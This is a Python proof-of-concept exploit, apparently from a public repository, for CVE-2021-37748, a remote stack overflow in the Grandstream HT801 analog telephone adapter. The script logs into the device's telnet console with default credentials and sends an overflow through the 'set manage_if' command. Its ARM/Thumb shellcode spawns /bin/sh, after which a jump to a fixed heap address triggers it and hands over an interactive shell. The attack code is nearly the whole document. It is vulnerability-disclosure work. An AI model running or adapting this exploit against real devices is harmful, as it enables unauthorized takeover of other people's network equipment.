/
CVE-2021-37748-path1-telnet.py
76 lines (60 loc) · 1.8 KB
/
CVE-2021-37748-path1-telnet.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
'''
CVE-2021-37748 Grandstream HT801 ATA remote stack overflow.
Tested on:
1.0.27.2
1.0.25.5
Adam Simuntis <adam.simuntis(at)secforce.com>
Mindaugas Slusnys <mindaugas.slusnys(at)secforce.com>
'''
from pwn import *
from struct import pack,unpack
context.arch='arm'
IP='192.168.1.128'
PASS='admin'
def setup():
p.sendlineafter(b'Password: ',PASS)
p.sendlineafter(b'GS> ',b'config')
def send_payload(payload):
p.sendlineafter(b'CONFIG> ',b'set manage_if '+payload)
# We have enabled telnet for the purpose of the PoC, it is also exploitable over ssh.
p = remote(IP,23)
# ARM926EJ-S rev 5 (v5l)
# execve("/bin/sh","/bin/sh",0)
sc = b''
sc += asm('add r4,pc,#1')
'''
https://en.wikipedia.org/wiki/Telnet
https://datatracker.ietf.org/doc/html/rfc854
All data octets except 0xff are transmitted over Telnet as is. (0xff, or 255 in decimal, is the IAC byte (Interpret As Command) which signals that the next byte is a telnet command. The command to insert 0xff into the stream is 0xff, so 0xff must be escaped by doubling it when sending data over the telnet protocol.)
'''
# Double byte patch (Telnet IAC byte patch), switch to Thumb
sc += asm('bx r4').replace(b'\xff',b'\xff\xff')
# Switch CPU context
context.arch='thumb'
sc += asm("""
mov r0, pc;
adds r0,#11;
str r0,[sp,#4];
add r1,sp,#4;
eors r2,r2,r2;
movs r7,#11;
svc 1;
cmp r7,#47;
ldr r2,[r4,#20];
cmp r7,#110;
ldr r3,[r6,#4]
""")
payload = b'A'*134 + sc
setup()
# Data will be allocated at the static address on the RWX heap for requests larger than 100 bytes.
log.info("Allocating on the heap..")
send_payload(payload)
payload = b'B'*52 + p32(0x16098)
log.info("Shellcode len: %d",len(sc))
send_payload(payload)
p.sendlineafter(b'CONFIG> ',b'exit')
# Trigger
p.sendlineafter(b'GS> ',b'status')
# Catch garbage
p.sendlineafter(b'#',b'')
p.interactive()